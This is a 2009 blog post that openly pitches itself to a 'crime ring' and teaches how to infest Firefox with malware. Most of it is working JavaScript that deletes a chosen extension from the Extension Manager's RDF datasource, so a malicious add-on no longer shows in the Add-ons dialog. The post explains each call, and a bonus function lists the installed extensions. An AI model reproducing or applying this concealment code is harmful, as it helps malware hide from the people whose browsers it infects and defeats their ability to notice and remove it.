2009
02.11

Firefox is the top competitor against Internet Explorer, and it’s market share is not to be underestimated. That you can infest it with malware, and that it can spread, will provide huge benefits to your crime ring. Here we will learn what is the magic behind, I will demonstrate how to write an extension that is not observable from the Addon dialog.

Firefox extensions information are stored in a file called extensions.rdf in your profile, which is just XML. The Addons dialog invokes the Extension Manager which implements nsIExtensionManager. This nsIExtensionManager has an attribute called datasource, which houses the extensions data we can browse – and modify. By manipulating this datasource that the Extension Manager depend upon, we can remove any extension from the list from sight.

Here is the code :

function ext_mgr_hide_extension(tgt_ext_name)
{
    var rdfContainer = Components.classes["@mozilla.org/rdf/container;1"].
        createInstance(Components.interfaces.nsIRDFContainer);
    var extensionDataSource =
        Components.classes["@mozilla.org/extensions/manager;1"].
        getService(Components.interfaces.nsIExtensionManager).datasource;
    var rdfService = Components.classes["@mozilla.org/rdf/rdf-service;1"].
        getService(Components.interfaces.nsIRDFService);
    var root = rdfService.GetResource("urn:mozilla:item:root"); 

    try
    {
        rdfContainer.Init(extensionDataSource, root);

        var exts = rdfContainer.GetElements();
        while ( exts.hasMoreElements() )
        {
            var ext = exts.getNext();
            var ext_name = extensionDataSource.GetTarget(
                ext, rdfService.GetResource(
                    "http://www.mozilla.org/2004/em-rdf#name"), true).
                QueryInterface(Components.interfaces.nsIRDFLiteral).Value;
            if ( ext_name == tgt_ext_name )
                rdfContainer.RemoveElement(ext, true);
        }
    }
    catch (e)
    {
        alert(e);
    }
}

To manipulate the RDF document, we can use a RDF Container, which implements nsIRDFContainer :

var rdfContainer = Components.classes["@mozilla.org/rdf/container;1"].
        createInstance(Components.interfaces.nsIRDFContainer);

To get the datasource of the Extension Manager, we can get the one from the Extension Manager :

var extensionDataSource =
        Components.classes["@mozilla.org/extensions/manager;1"].
        getService(Components.interfaces.nsIExtensionManager).datasource;

To get the RDF service to read the RDF, we get the nsIRDFService singleton :

var rdfService = Components.classes["@mozilla.org/rdf/rdf-service;1"].
        getService(Components.interfaces.nsIRDFService);

Navigate to the root :

var root = rdfService.GetResource("urn:mozilla:item:root");

Fill in the data for our RDF Container :

rdfContainer.Init(extensionDataSource, root);

Then, after you get one single instance of extension in the RDF, we can obtain the name ( RDF Literal ) through this :

var ext_name = extensionDataSource.GetTarget(ext,
    rdfService.GetResource(
        "http://www.mozilla.org/2004/em-rdf#name"), true
    ).QueryInterface(Components.interfaces.nsIRDFLiteral).Value;

Now if there is a match, remove it!

if ( ext_name == tgt_ext_name )
     rdfContainer.RemoveElement(ext, true);

And the rest is your imagination.

Bonus

Dump all extensions with Extension Manager :

function ext_mgr_dump()
{
	var extensionManager = Components.classes["@mozilla.org/extensions/manager;1"].getService(Components.interfaces.nsIExtensionManager);

	var count = new Object();
	var items = new Object();
	var extensions = extensionManager.getItemList(2, count, items); // 2 is the value for EXTENSIONS
	count = count.value;

	var extension;
	var s_exts = "";
	for (var i = 0; i < count; ++i)
    {
		extension = extensions[i];
		s_exts += "*** " + extension.name + " " + extension.version + "\n";
	}

    return s_exts;
}

Reference :

Firefox Extension Development

No Comment.

Add Your Comment